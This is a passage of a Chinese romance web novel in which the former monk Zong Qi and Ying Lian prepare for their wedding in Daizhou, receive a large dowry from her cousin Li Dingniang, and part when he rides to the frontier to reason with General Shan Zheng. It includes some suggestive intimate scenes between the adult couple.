代州的日子逐渐安稳下来。亏得慧理住持那一沓地契，应怜同宗契两个仅是挑屋宅便附近州县满逛了一圈；挑来择去，仍是相中了代州城里的一处，只在五台山以西四十里，一日间可宽宽裕裕地往回。 宅院也宽敞，里外二处，四面有廊枋相连，外头说话的正室、待客的花厅；里头略改，依着应怜的习惯，一般起了一座二层的小楼，敞阔又幽静。两廊院布着耳房、书房、杂库；其次又有后院马厩，养了一匹高健的公马、一匹温顺的驯马。 宅院内外修整过一遍。应怜亲自相看，雇了一个女使、一个粗使，又有个前后跑腿的小子。如此一来，家中五口，外加马两匹，家口便热热闹闹安置了下来。 宗契总还觉着委屈了她，她从前住的是乌头门的宅子，家中有院落池塘，女使仆妇十数个，廊枋上饰着朱翠，明耀悦目，灯火不歇，更不似如今简朴冷落。 应怜经过一回树倒猢狲散的光景，对些外物早也不大执迷，反是对着宗契，总有些心心念念的事，又不好白日黑夜挂在嘴上，没得招人笑话。 她想催宗契快些娶过自己去。 婚事已预备着排办了。打此间宅院一落定，宗契便请了媒人，依着六礼的规矩，小定大定，从她家门三进三出，花红表礼、并两只亲擒的活雁，惹得近邻纷纷来道喜帮衬，为应怜做足了脸面。 只是这六礼一一办妥，少说也得半年。 应怜掰着指头数日子。自打去年九月，在延祥寺的那两回，过后五台山的路上又有几回，零零星星，那夫妻之间的事，统也有个七八回。最后的一次，是在这间宅院里，僮仆们尚未雇买，家中只他们两人，夜来说着说着话，便…… 每每想来那事，她总有些脸红心跳，身子发烫，说不清是喜欢是烦恼。喜的是与他亲近，烦恼的是总担心月信不至，到时落得个未嫁先妊的名头，总好说不好听。 好在转过一月，癸水至了，这才使人松了一口气，也由此点醒了应怜，嫁娶之前，收敛着些，切不可再纵着乱来。 另一则，代州安置之后，成婚之前，在左邻右舍的眼皮子底下，宗契不好与她就一个屋檐下住。索性如从前在江宁 ，将她家对面的一间屋宅赁了下来，两家正门冲外，后院的小门却一巷相对，二三步便至。 宅院落定一月，正逢三月春夜，夜暖风定，幽香自来。应怜初初过惯了此地的日子，白日里与宗契说话，夜来各自归家，又打发女使自去睡了，自己挑着灯，翻了几页杂记，写的是幽窗话鬼狐之类的怪诞云云。正看到兴处，忽听后头的窗外，突响了两声，似是有人击敲窗纱，不防被吓了一跳。 她住的是小楼上，不知是窗松动或是怎么，忙忙地去关牢。忽心中一动，微微拨开，见漫天明月清辉如水，一泓而下；月中挨着廊，正立着个才翻墙而来的高大的身影，仰首与她相望，眉眼里有躁动的炽热，愈发地湛朗。 应怜已卸了簪环，素云似的乌发垂在肩头，夜气馨暖，外衫也未披，只着里头小衣，眸光更比月色动人，才惊魂落定，掩嘴噗嗤一笑，几乎晃花了楼下人的眼。 她什么话也没说，只是朝他招招手，复阖了窗，却虚掩了门，将烛吹熄，霎时光暗，只留了窗隙间泻下的一缕清月的光。 宗契上楼时轻敏无声，片刻后，将门推开，目力十分敏锐，一眼便瞧见了浅淡的月光下、坐于床畔的应怜。花颜映月，小衣素白；略松着领口，被几缕长发盘旋结绕，隐没于愈发饱满的中间幽壑。 二人将近一月未亲近过，本就血气盛烈，见了她此夜中情状，宗契更是难以自持，几乎顷刻便窜起了心火。 他几步过去，俯身抄过她后腰，依着本能，吻上她再柔软不过的唇。 应怜本要起身相迎，却被他沉重地压下，无依地环着他颈项，与他一同倾倒在床帏里，张开唇迎他入内，与他纠缠厮磨，在他抚弄下细密地发颤，不一会，眸中便已水色横陈，急促地喘息，一时却忘了要说的话。 她身子一点一点地发软，宗契却杵铁似的，烙在其间。已与他经过人事，应怜自然晓得接下来如何，只是腰带解落的一刹，忽紧张起来。 宗契的手掌已探在内。应怜被他粗粝双掌上下揉搓得险些难耐地哭出来，一只手没什么气力地拦他的手掌，另一手颤巍巍抚他脖颈，又沿着向上，发颤的指尖蜷曲，微微揪住了他才生出不长的粗硬发茬。 宗契亲吻她不住颤抖的颈项，已箭在弦上，分不出神管被扯得发紧的头皮，半晌感受她在怀中扭动推拒，才松开些，瞧她被引逗得满是春。情的嫣红面颊，侵占与怜爱的心思炽盛难忍，喘声问：“怎么了？” 应怜衣带宽解，抹胸也解落了一半，松松地半挂不挂，被吻得浑身发烫，下意识拿手抚他眉眼，片刻才清明些，却又被他捉起手，将指尖一根根含入口中亲吻，喘息复又急促起来。 “你……”她出声才觉软得似水，那水意泻了他一身。应怜强忍着抽出手指，无视他的讨好，轻声拒绝：“成婚尚有四月，我这一回癸水至了，再与你……与你一回，又得担惊受怕。” 宗契眉宇间情。欲未落，闻言不大解，却也不逆了她，撑起身，揽着她柔软的腰肢，两人坐起身，“担惊受怕？怕什么？” “怕有身子！”应怜满面通红，想到那时，那担心中却混了些别的滋味，瞧瞧他，不觉又抚上了自己的肚皮，总想象不出，这里头若有个孩子，是个什么情景。 是她与他的孩子…… 可宗契全未料到，甚至从他的神色里可瞧出疑惑，渐渐化作了震惊，也盯着她肚腹，瞧了半晌，伸手去摸，粗糙温热的触感惹得应怜笑着往后缩。 “怎么，你但会像只公驴似的，却不晓得若做下了，我许便要有孕么？”应怜笑话他。 宗契震骇又茫然，“那你、你……” 他的目光直勾勾的，不错眼地在她半掩的腹上，又移上她脸庞，反倒使应怜不自在起来，微微拢了小衣，话出口，仿佛是埋怨，“都说了，我癸水才至。你不晓得孩儿的事么？” 宗契窘了半晌，盘腿在她对面，正色起来，“娃娃是肋窝里生下的。” 应怜瞪着他足足数息，忽然开怀地笑起来，又怕惊动了外头的女使，捂着嘴笑得上气不接下气。宗契见她左摇右倒，索性将她接住，触上她腻脂细润的肌肤，又是一阵心旌摇荡。 “谁与你说的？”她伏在他胸前，仰起头，心中划过一阵柔软的战栗，亲了亲他的下巴，“娃娃是阴阳交。合，就如咱们前几回那般，而后从、从……” 她牵着他的手，半明的月色下，从相贴的幽暗的一带，一路划过去，咬着唇，眸中春色滟滟，一瞬有了些雾气，迷蒙地呻。吟了一声。 “从那里出来的。”她依在他耳边，喘声不匀。 宗契耳尖发烫，手有自己的心意一般，与她戏耍，逐渐闻听应怜细声娇气，似喘似哭，两手掐在自己臂膀上，指甲猫儿挠似的，痒得他愈发炙热，喝了烈酒一般。 他豁然初悟，前后大半想明了，再不提那肋窝的话，也忍了自己的性子，不敢再如前几回那样胡来，抽出手，指头上酥得发烫，意犹未尽，“我竟不知……罢了，往后不欺你也就是了。” 应怜被吊在当中，不上不下的，初尝些滋味，倏忽又没了，又臊又恼，一巴掌拍了拍他肌肉鼓胀蓄势的肩臂，却像打着了生铁，拍得自己的手掌发疼。 她又说不出更孟浪的话来，只得眼睁睁瞧他面有愧疚，为自己系了抹胸的带子，又将小衣拢回去，一寸一寸将温香软玉掩了。应怜低头瞧见，说不出的来气，将他散落在旁的衣衫皱巴巴地团了，一股脑扔去将那害眼病的硕长轮廓遮了。 宗契却又舍不得，亲了亲她嘟嘟囔囔的唇，又亲了亲她柔软的耳尖耳垂，才放开她，开始穿整衣衫，下了床榻。 他自还俗，便再未剃发，如今发茬短有一寸，像个六根不净的和尚。应怜拥着薄被瞧他，一面没由来地气恼，一面心中生出无限的欢欣眷恋。 宗契见她堵着气不言语，也不知究竟为着什么，便捏了捏她的手，哄道：“是我不好，太轻佻了。夜中不便，明晨我再来，陪你说话。” 应怜闷闷不乐地点头，也不知是盼他守礼还是不守礼，心中另有一种难熬的滋味，似乎是一把火窜起来又灭不去，只得轻轻地哼了一声。 宗契搓了搓她的脸，笑了起来，也极为恋恋不舍，本已要去，回头见她巴巴望的眼神，脚步一顿，复又折回来，鬼使神差地开口，“……那我陪你睡下再走？” 应怜心里好受了些，挪向床里，拍拍身侧，将外间的位子留与他。 宗契便合衣上床榻，与她枕在一处，闲话白日里早已说过，此时情绵意定，只伸臂将她搂了，又闻出了她发间颈边熟悉的一段馨香，有些心猿意马，不由又想到了她方才所说。 “孩儿……”他起了个头，又停住，思忖起来。 应怜闭着眼在他怀里，只是懒懒地答应一声，也不去瞧他混着惊奇与深思的脸。 半晌，宗契想到了别的什么，“往后咱们也要有孩儿。” 他竟从未想到过这个，如今一旦被提醒了，便愈发地深想，起初总是不可置信，而后却想象起了那孩儿的模样。 若是个女娃，定是像应怜；若是男娃，长成了，他便将一身所学尽授予他。 他越想，如同冒然闯入了个新天地，待初时的陌生感褪去，便感受到了无尽的欣喜，与一种突如其来的悸动，便更紧地拥住了应怜，照她脸上亲了又亲，唤了一声，“惜奴。” 应怜有所察，心中一动，睁开眼来，定定瞧了他一会，有些臊，仍问出口：“难受么？” 宗契咧着嘴，胸腔里心跳一下一下，热烈又浑厚，点点头，“我真欢喜。” 他尚沉浸在方才思绪里。应怜听他答得牛头不对马嘴，也笑了起来，眼眸里晶莹温柔，红着脸，垂下眉眼，探手与他，察觉他浑身的肌肉蓦地一绷。 却又生疏不得要领。她下巴搭在宗契肩窝，声音极轻极赧：“我不大会……” “会什么？”他闷哼一声，像只驯顺的兽。 应怜又瞪了他半晌，觉着棘手，终于明白：自己是不大会，他是全不会。 没白做这么些年的和尚。 于是她回想那传授夫妻敦伦的册子里所描绘，十分果决地照猫画虎起来。 半个时辰后。 应怜越战越挫，揉了揉酸疼的手腕，打了个哈欠，十分恼怒地丢开了它，并指责宗契，“你真不教人省心！” 宗契从她手底下讨得生还，也不言狼狈，奇快地系紧了裤子，将她按在床上，一臂揽过，闷在自己胸前，拍拍她后背，“很……舒坦，你有劳了，快睡吧。” 应怜被抚平了几分挫败，很快倦意上头，困顿中仍有些困惑，“许是那册子画得不准，明日我再去买一本，咱们再试来……” 宗契惊得虎躯一震，被搓得火辣辣的，囫囵哄着她，好歹教睡了，又待她熟睡气匀了，这才将她安放下，抚了抚她粉团儿似的脸。 中霄明月，愈发地清湛。栖鸟双宿，花眠不语。应怜带着一点不甘入睡，睡得深沉，连宗契何时离去，竟也丝毫不知。 一旦安置，时日便过得飞快。八月的婚期，一晃春残夏至，到了六月，迎来个意外之喜：李定娘携着阿苽与萍儿到了。 “原该早些来的，我与你书信，满以为四月便能至，不想弄到如今。”李定娘仍是那样端端稳稳的大家气度，一路舟车风尘有些劳累，兴致却高，推来萍儿与阿苽，教他们行礼称呼，又将应怜上上下下打量了好几回，笑道，“你信里道好，我总不放心，要亲瞧一瞧才好。如今看来，你过得不错。” 应怜欢喜地令人张罗接风，又教家里的小子六郎去外头与宗契报口信。她拉过来一双童儿，多时不见，竟都窜高了一截，尤其是萍儿，竟长在阿苽前头，盖过了他一头。 萍儿眼眸明亮，已初有了些少女的风姿，今年九岁，正是抽条的年纪，迎着风地窜高，笔挺挺地立着，气质态度都胜过寻常闺房里养出的小女儿，向应怜唤一声姐姐，清脆响亮，利落得出奇。 应怜越瞧越爱，又有些惊奇，执着她手，掰开来瞧，果见两掌心及指腹皆生了茧，“啊”了一声，“谁竟教你耍枪弄棒了？” “你走后，她因眼馋小山随着人习武，便闹着也要学，成日往校场里窜，拳也学、刀也学。宗契不似你那样拘着她，由着她去了。这一二年，竟也吃得下苦，学得有模有样。”李定娘道。 萍儿便欢快地拉着她，笑嘻嘻要比与她瞧。应怜忙将拉住，这许多人跟前，好歹有个沉稳的行止规矩。阿苽则在旁，目不斜视，谨言慎行，收敛了幼时爱耍脾气的任性，反 倒像个俊俏的小女娘似的。 过不至一刻，宗契也被寻回家来，亲朋相聚，总是欢欣。当日关起门来，一家子团聚饮宴。到得晚间，李定娘便与应怜同睡，姐妹俩叙一叙别情。 到无人时了，李定娘才携应怜去瞧白日里卸下的两只大木箱，各个沉重无比，家人架不动，还得宗契与人搬抬着置入了屋中。箱上有大锁，也不知里头盛的什么。 李定娘入内室，换了条腰带，将原先随身系的那一条二寸宽的斑斓锦绣的带子换下，问应怜要了剪子，毫不怜惜地将那绸带剪了。应怜惊异地瞧，却见里头某处落下两个黄铜的物事，李定娘捡起在手中，原是两枚锁钥。 她将其中一枚与应怜，同去开那两只大箱。应怜玩笑道：“你藏得这样深，不知底细的人恐还以为是什么价值连城的珠宝呢！” 李定娘噙着笑，微微一点下巴，“你打开来瞧。” 应怜依言打开，一瞬间，在灯烛的辉映下，险些被里头黄澄澄的一排排齐齐整整的金铤晃花了眼。 她不可置信，揭开一层金铤向下，里头一模一样，尽是五十两一枚，握在手心，份量沉重得令人心慌。她转眼向另一侧，李定娘已揭开了那一只木箱，里头略小一些，尽是二十五两的金铤却也密密麻麻，排得不见根底。 李定娘捡起上头几枚，漏下孔洞与她瞧。应怜见那箱底下似乎有物。李定娘道：“这些俱是十分金，共三千二百两。这一只箱中，除了金铤，下头有个匣儿，里头是代州附近州县的田地契，你好生收着，这便是嫁妆了。” “你哪里来这许多钱财！”应怜惊得魂都飞了，猛地一阖箱盖。 李定娘无视她大惊小怪，“哪里多了？姨父姨母若在，你的嫁妆比这只多不少。放宽心，这是咱们几个相好的通家凑的份子，不是一家出的。” 应怜这才略放下心来，却也觉得太多，很是不过意，总问那几家的名姓。李定娘却嫌她罗唣，敷衍过了，闲聊了几句八月婚事，又道这一回来，得亲眼瞧她发嫁了才走，引得应怜眉开眼笑，终是与她两个并头睡下了。 第145章 第145章怜君高洁意 七月二十。 烧衣节后，撤去了供祭祖先的素案供酒，宅院里开始紧锣密鼓地预备起亲迎婚事来。 开春择屋时，应怜与宗契竟都忘了一事：亲迎的规矩，是新妇自娘家至夫家，两处屋宅的地契各自有主，泾渭分明。当初那宅院的契书里，白纸黑字，佥押是应怜的名姓，因此算得上所谓的“娘家”。 而连月来，屋栋院瓦修、门廊方砖饰彩，新房铺整安置，各样备以亲迎的事体，皆在这一宅院里张罗，临了再要更换，又恐延误了婚期。可若不换，也无新妇从娘家到娘家的滑稽事。 那媒人便道：“若不然，新妇便委屈些个，将贺将军赁下的对面屋宅简饰一番，权做新房，三日后再回本屋居住不迟。” 宗契皱眉，“我那处全无饰彩，内室也窄小，如何能做新房？” “那便只得仔细地修饰了，里里外外，少说也要两个月。下月初九是上上吉日，若再拖延，这样的大吉良辰可不容易找。”媒人道。 宗契与媒人商酌琐细，未嫁的新妇自不好露面，便由李定娘在旁添补，但见媒人讪讪，紧咂嘴没个法子，仿佛事果真难办一般。 “有甚难办的？”李定娘嗤笑，拿眼扫着媒人，“你却闭口不言，还有个主意——教贺将军赘过去便是了。” 如今左右相识的人，一传十、十传百，便知了宗契根底，虽是个白身，从前却随着新帝征战的，有着赫赫之功，便都尊称一声“将军”，奉为代州本地了不起的稀罕人物。那媒人唯恐这桩婚事里奉承得不够，哪敢提入赘的事，如今被一语点破，十分尴尬，不住地赔笑。 宗契却眼一亮，望向媒人，“这可行？” “行倒是行，只……”媒人讪笑，“便是个庄稼汉，不到没饭吃的年景，谁肯去做上门女婿？” 李定娘不言语，只唇边噙一抹似笑非笑，抱臂洗耳恭听。 宗契想也未多想，“那便入赘，何必大惊小怪。” 本主既发话，外人又置喙什么。媒人听了一耳朵奇事，回去与人取笑去了；宗契与李定娘便回宅院，同应怜知会。 正是暑盛之时，日午将至，此地却不似江宁酷热，只消待在院廊下，移屏来遮了日盛的光，便不用冰，也有些凉快。他二人回时，便瞧见应怜与阿苽带着僮仆廊下坐着，应怜手里正拿着什么，低头细细地瞧，闻得人语声，抬起头来，眸中淡雅的光彩使人如饮沁蜜，甘甜柔软到了心涧。 李定娘见了她便打笑，“瞧瞧，我带了个赘婿与你上门！” 应怜微有困惑，但见宗契有几分赧，却也坦率，直言道：“为着两家地契的佥押名不好更改，又不至耽误婚期，如今是我入赘与你，全凭你做主了。” 应怜起身相迎，与他接入廊下，唤人取过了绿豆饮子与他，再要与定娘阿苽一碗，却见大小两个早已分别而去了。 女使也乖觉离开，留他们二人说话。 穿廊的风徐徐，带着几分暖热， 又不知从哪里飘来素馨的香，微凉沁人。应怜端着半碗饮子，道：“入赘的男子，古来从罪，一向为人取笑。你便为了这些琐碎的小事，轻易入赘了么？” 宗契不很在意，“于我而言，咱们是夫妻，关起门来过日子，你嫁或我赘，并无不同。” “你怕委屈了我？”应怜偏着头，眉眼微弯，由心底漾出了几分笑意。 宗契爱看她这样温雅随心的神情，又见她饱满嫣红的唇上一点痕渍，是方才饮的蘸了蜜的水，心中一动，只觉那薄薄的清露诱人，想要探身相噙，才一低俯，见应怜颊上微红，眼却瞟向院门口的来处，生怕有人此时瞧见。 他索性起身，先将那遮日头的薄锦列屏挪了来，正阻挡在跟前，隔绝出方寸的狭窄天地，唯有他与她二人。 应怜坐于绣墩之上，半倚着廊墙，仰起头，便迎上了他俯来的极有压迫感的身躯，滚烫的唇恣意，碾揉舔吻。 宗契将钟情的那一点薄薄的甜舔净，又吮弄唇舌，享尽了内里更甘美的蜜，这才微微松开，却早不知将应怜的唇吮得如红熟的樱桃，湿润润的将要绽破一般。应怜被吻得昏头涨脑，红着脸喘气，宗契呼吸粗重，半晌才勉强压下心火，抚那一张琼霞散漫的晕红的面，忽见她手中紧攥着一物，方才那样吻时也未松开，便取过来，“这是什么？” 应怜忽紧张起来，方才发软的身子有些僵，却什么也未说，递与了宗契。 那是一封信。 宗契含着笑意，又贪看她一眼，才去读那信，先瞧落款，“嗯？大仁写来的？” 接着一字一句念，念着念着，神色变了。 “……我等属部，无论心腹外众，苦口相劝，晓以厉害，更有锥心痛泣，他但取孤直之道，一字不入耳。留则生，归则死，谁人不知？……初旧盟汝等三人，陶慨已去，将军愈重高僧，常喟念思怀……” “钱美写来的。边关飞马传书，却也辗转一月方至。”应怜将他推在身边，相对坐下，唇尚余甘甜滋味，方才缱绻却已消散，道，“信交在佛光寺中，他信中仍呼你为高僧，想来不知还俗之事。” 宗契又将信默念了一遍，“单将军击破匈奴联军，匈奴溃败在即，已有部族内乱，撤去漠北。钱美望我早去，劝说与他，阻他回师，留在西凉府。” 这一往一返，料期三月，若有淹留，兴许四五月方归。钱美盼得急，只因单铮回师在即，一旦大军起行，便绝难更改。他若要走，万宜速行。 可若就走，下月的初九的婚期便要耽搁了。 应怜望着他，宗契有些心乱。 片刻后，她开口：“你如今入赘与我了，是不是？” 宗契点头，将那信攥着，不知不觉在掌心里已揉皱了，又豁然放松，望进她留恋的眉眼，下定了决心，“是，我全听你的。” “我想你留下。”应怜道，“待婚事成后再走。” 宗契笑起来，抚了抚她面颊鬓发，“好。婚期即至，料想这几日也耽搁不了什么。” 静院幽香，锦绣的屏风内里，应怜凑过去，亲了亲他。 “你去吧。”她眼底有某种难言的温柔，包容了挣扎的恋恋不舍，话十分平静，“过午便走，我为你备行装马匹，不要耽搁。” 宗契愣住了，“可婚期……” “我就等在此，又飞不走。婚期赶不上，改日便好了。”应怜握住了他的手，一点点抚摸他掌心的茧痕，“你不愿委屈我，我也不愿见你失信于人。单将军是个顶天立地的英雄，不该落得身败名裂。但他有自己的坚守，你去劝说，能成则成；若不能，莫要硬拗，回来咱们再想法子。” 宗契说不出话来，久久凝望她，回握她柔软温暖的手，将她拉入了怀中。 应怜果与他备了行囊，教喂得后院那良马饱足了，又一一叮嘱了宗契些路上的事，将财白分与他行囊身上几处藏稳妥了，这才送他出门。 “可惜这一趟事急，我不好同你去，平白拖慢了行程。你记得早去早回。”她道，向他挥手，“我会将家中打理仔细，待你回来，咱们便成亲。” 邻舍有人探出头来张望。宗契翻身上马，迎着热烫的日头，环顾相向，向四邻拱手，扬声告请诸邻照看家眷，众人莫不点头，又来相送。 宗契向应怜点头，“回吧，日头大，莫晒着。” 二人相望辞别。宗契踏马而去，马上背影高大，已不再是往昔僧人的模样，发虽不长，到底留了起来，覆上帻巾，便可遮掩短处。那是应怜为他扎起的——他还不大熟络怎样以帻巾覆发。 他却仍不似市井男子，爱着锦簪花，一贯灰黑的朴质，却也愈发显得沉稳峻拔；此时穿梭市道，逐渐消隐于攘攘的人众，无端教应怜想起从前的无数回，遑论白昼黑夜，他阔步朝自己而来的模样。 邻里争来相问，应怜一一答了，礼节已毕，末了早已无离人的痕迹。她关闭了院门，与李定娘一处，守着家人孩儿，悠长的昼夜，缓缓地等了起来。 等待的日子有些枯烦，却并不难熬。 宗契并不就走，却先寻了一家标行，雇请了十来个精悍强壮的标师，有男有女，只在原先自己那屋院里住下，早晚守着应怜家宅，以免他去后，专有那强横的无赖欺她家无男丁，唯有妇孺。 山寺里的慧理住持也晓得此事，先使弟子来询问过，而后专托了那正经清贫尼寺里师姑，日日跑一趟腿脚，见得应怜，说上几句，以报平安。 应怜便再不担心平生事故，有了闲暇，便将些书来，教一教萍儿与阿苽。 时日长了，两个孩子的心性不同，便愈发地水落石出，显见起来。阿苽喜文墨，不好言辞，外相方讷，心思却敏感温柔。萍儿好动，不喜文章，应怜所教中，唯惯熟那算经数科，余下心思全在摆弄拳脚上，一日里有大半在对面那院里厮混，歪缠着标师们耍子。 秉性截然不同，萍儿却很喜欢阿苽，有一阵闹着要教他骑马。阿苽正依着应怜前日吩咐，指秋为题，按去声五未与去声六御各自做五七绝律的新诗，才做到第五首，便被萍儿不由分说地扯去，只得搁下笔，十分无奈，“骑马我已会了。” 萍儿道：“你不过会坐在马上，可会仰身避箭与疾走跨马？” “我好端端骑着马，哪里来的箭要避？”阿苽很是烦恼，觉得她蛮不讲理，“马备好了鞍，君子将不趋不乱，扶鞍上马，为何又要疾走？” 应怜与李定娘正在明窗内说话，闻得动静，都出来瞧看，正听得萍儿吵吵嚷嚷，“若路遇歹人，他可认你做君子，先拜你一拜，等你上了马，再目送你离去，道一声‘君子保重’吗？” 姐妹俩廊下瞧热闹，李定娘有些苦恼，“到底是个郎君，这样文弱的性子，难道是我从前拘得他太过了？” 应怜噙着笑，倒不觉有什么，听萍儿使人去牵后院里那匹驯马，趾高气扬的样子，从心感慨了一句，“萍儿跳脱，倒有些像我家人，随……” 她想了想，欢欣消退了几分，有些怀念，“随哥哥。” 李定娘应了一声。二人眯着眼，目光穿过明亮的日头，瞧萍儿立于马旁，拉着阿苽比比划划，后一个利索地跨鞍上马，身子向后一仰，做了个躲避的姿势。 “你还记得么？哥哥总自夸他剑术精妙，可若依我看，他的弓马其实最熟。”应怜道，“他当初那一招夺人的马匹，自作了名儿，唤李广……李广……” “李广夺胡。”李定娘道。 应怜一拍手，“是了！他当真能夺了疾驰的奔马，竟还能撂了马上的人下去，那回将人家刘侍中的郎君掀下马，好悬没折了刘衙内的腿，教爹一顿好打。” 他们都还记得那事。李定娘凤眸内隐有浅笑，映着炽盛的烈日，竟有几分年少时无忧的韶华风姿。 那头萍儿与阿苽还在掰扯，阿苽被强推在马上，萍儿却下马，正要 一拍那马的屁股。李定娘见事闹得有些不规矩，便上前拦阻，应怜忆起了旧事，默默心中念了念，也便将这份忆念重藏进了心底。 十月下旬，家家户户捣衣已成，秋霜降，寝夜寒。 应怜收到宗契的一封来信，道已至西凉府，单铮却又在府城以西，出得关处。应怜收好了信，盘算时日，军阵之事她不大懂，却也晓得关外道途壅塞，本部人马所在并不易寻，不知他年前能否得归。 她虽思念，但晓得他平安，也便放了一半的心，耐心等待。 又转过一月，宗契又一封信至，这回比上一封长些，道已寻得单铮，重逢叙别，营中留了三日。 单铮并非不知自己处境如履薄冰，也不是不知若拥兵囤于西凉府，便可与朝廷对峙，与匈奴、边军互为掣肘，只要不明挑着生事，天子不会不顾及边境安稳，执意取他。 只是单铮与他说得清楚，他非止一人。与他同来的，更有四万追随的将士，他们有家有口，有盼归的老小妻儿，有建功立业的抱负。他们舍下禁军中安稳，肯与他千里远征，他为主帅，不能不给他们一个荣耀的归宿。他不能为一己之私，教他们顶着有贰心的责难，终身难归。 宗契信中写了许多，并非都有条理，只是一股脑将心事诉与她，同时信中也道，他三日后回程，不再相劝，与单铮辞别，不知今日别后，还能否再见。 “各人有各人的缘法。”她收起信，想起了慧理住持常挂在嘴边的一句话。 这一封信写于十月廿三，算算日子，少则半月，多则一月，他便要回来了。 应怜的心雀跃起来。早是晌午，便将信拿去与李定娘看，恰逢定娘未午睡，正坐于内室，静静地也在瞧着什么，见得她来，招招手。 应怜进屋，女使为撩开碧翠竹帘，竹节碰撞，发出沁人的相击。她在她身旁坐下，偏头瞧去，见李定娘手中也是一封家书。 李定娘将书信递去，应怜则将宗契的信与她换了。 这一封是她家中掌事写来的，催促她早归家，因天子欲册封为公主。 李定娘看完了信，抬起头来，“恭喜。” 应怜也抬起头来，不言语，起初有些疑惑，渐渐心沉了下去，喉中哽住了一般，那“恭喜”二字怎么也讲不出口。 “我本想瞧着你出嫁，如今看来，是不能够了。官家催得急，我得即刻回去。”李定娘微微一笑，将信还来，道，“往后你在代州，与宗契好好过日子，无故别往洛京里跑，免得人心难测，又与你生事。” 应怜皱着眉，又松开，勉强点头，“过了年，表姐你已二十五了，况你已有过丈夫……” “你嫌弃我？”李定娘撇撇嘴。 应怜攥着那信，怎么也想不通，“那他好好儿的封什么公主？又在这关节上，匈奴多部已败退，总不能指望你和……” 李定娘伸出手，轻轻捂住了她的嘴。应怜心里没底，却见她清清明明的眼眸，似乎通透了然。 “你所虑的，于我而言，并非是坏事。”她松开手，有片刻出神，望向窗外，似乎想起了什么，而后发自内心地有了笑意，“无论怎样，总不至坏到哪里去。来，与我道声喜吧。” 应怜闷闷不乐，却依她，一边心中祝祷，一边言语，道了声“恭喜”。 二人又说了会话，应怜出门时，也还是疑虑重重。 “我走后，记得点算那嫁妆箱底的田地契。”李定娘嘱咐，见她望来，别有所指地眨了眨眼。 应怜没精打采地点头，在心里暗骂了一声郭显，将她的话清风过了耳，方才去了。 第146章 第146章红烛终相对，彩结绾同…… 两三日备齐车马辎重，李定娘虽不舍，终依依与应怜别去，带走了阿苽与随来的仆婢。 偌大的宅院，登时便空了大半，应怜不由失魂落魄。萍儿虽也蔫头耷脑了一阵，到底是走马灯般的性子，过不上三五日，便又疯跑玩闹去了。 宗契尚未归，应怜独自个守着宅院，到底百无聊赖，终想起了那两只嫁妆箱。 平日里财物尽收入库，除了那两口大箱外。箱中盛了连城的财货，不便就搁了库中，应怜一时竟不知如何安放，暂且囫囵堆在新房，想着待成婚后，教宗契与佛光寺的长生库里收着，免得徒生事端。 李定娘走前似乎教她盘点。应怜左右无事，便摒退家人，独个入新房点看。 金铤摞放分明，下头皆有金匠刻印，足十分的成色，果然三千二百两不多不少。应怜再去点那田地契，先将箱底一尺见方的匣儿起出来，打开后，果见一沓地契、一沓田契，平平整整，压实了也足厚厚的一寸。 单这些产业，便不输于那金铤。应怜心中总有几分纳罕，不知那些家怎样凑来。许是定娘出了大头，她那性子又拗，怕讲明了，自己不收，便假托几家一齐的彩头。 论理，她这是二回再嫁，不该有这许多添妆。京中门户最是精明，头一回与元羲的亲事，满朝文武都送了表礼，更有借名头孝敬的。这回轮到她与宗契，一来宗契并不登朝堂，二来元羲正炙手可热，有眼色的人家，没得千里迢迢地送了礼来，触元羲的霉头。 她一面散漫地想，将那地契抄起来，却见底头又有一册簿子，先被那契书掩得严实，丝毫未露。应怜经过一回那压箱底的秘事，心里一跳，先做贼心虚地向外望望，而后去紧锁了门，这才捧起簿来，掀开来瞧。 一会儿，面红耳热，捂着胸口砰砰地跳。 定娘这册子，可比前头那做娘家的夫人所赠厉害多了…… 外头似有穿廊的脚步说话声。她猛地噤声，连书页也不敢翻，待那声儿过去，才松一口气，捂着脸又瞧起来。 啧啧啧。 噫噫噫。 哎呀呀。 真教人大开眼界，叹为观止。 里头花样之多，应怜竟不能全懂，头一日做贼似的看罢，第二日便偷摸着藏了只画眉墨，削尖了，如前把自个儿关在新房中。 外头女使与人道：“唉，咱们娘子思念离人，不知在房中要怎么哭一场呢。” 里头应怜掐着墨尖，在那册子上勾勾描描做注，拿出了当初学文章的究根问底来。 有些个衣下交叠，半掩半露，掩处不见龌龊，露处形势分明，竟能全学得仔细。应怜恍然领悟，眉墨一扫，【妙】。 另一些借山水之势，山有山伏，水有水迹，鸳鸯半解，又比窥得全貌更引人心动。也不错，【妙】。 又有那非但鸳鸯成双，又成三成四的，众星眠月，瞧得应怜大为惊悚，匆匆而过，惜字如金。 当中一页，她前日里瞧过，既惊奇又喜欢，里头勾勒一上一下、一仰一伏，吞吐含露，直使莺莺蹙眉啮衾，谷溪湲湲。应怜面烧如霞，咬唇在上头勾注，【甚妙】！ 后头便没了图样，改作些文字，道那阴阳和合，乃是人应于天，意动情投，交才可得昌寿云云；又详解了何为势、何为谷、何为庭、何为阜，如醍醐猛灌她头顶，由一知半解彻底化作了了悟。 到第三日，她自觉将那上头术学成记在心，正阖页默想时，忽听外头连贯急促的叩门声，女使惊喜叫道：“娘子！将军回了！” 惊得应怜慌了手脚，将书向床榻里一塞，连批注的墨也顾不得，猛地开门，“怎么！？” 外院里传来牵马的动静，又有大踏步的脚步声，满含了仆仆风尘，贯入此廊。应怜趿着靸鞋，裘衣也不及穿，心跳密密如绷线，匆匆便奔向了外。 正与来人撞个满怀，被他一把扶住。应怜豁然望去，腊月冰寒之中，瞧见了宗契含了笑的面庞，以及英挺的眉目间热切思念的神情。 他口中嗬出的热气成了雾团，冷硬的轮廓变得柔和，执了应怜的手，不由分说，将她向屋里领，“怎么只穿了小袄？” 那只手宽大温热。应怜任他牵着，共入了内室，女使将火墙烧得暖热，递上热茶热水与擦脸的手巾，笑着退了，又仔细地为关掩了门。 此一去三个多月，他想是昼夜星驰，有些风霜，发又长了些，也不知怎么胡乱地扎裹了，覆在帻下；颔下生出了粗粗的胡茬，粗犷里添了几分悍朴，来亲应怜时，她被扎得推拒，却悄悄酥软了半边身子。宗契便又笑起来，将她按在了怀里。 应怜喘息匀了，面颊耳尖仍褪不去红粉一片，问了些漠北的近况，宗契捡着便与她说了，有些信中已提及，有些更详实，谈到单铮时，却只是叹了一声。 应怜便将所想与他宽慰，“事态未必那般糟糕。天子牧万民，自然在意民心。单将军节节得胜，打散了匈奴联部。他若回师，是国之功臣，声望一时显赫无两，官家必不敢动他。即便有忌惮之心，也得徐徐图之。” 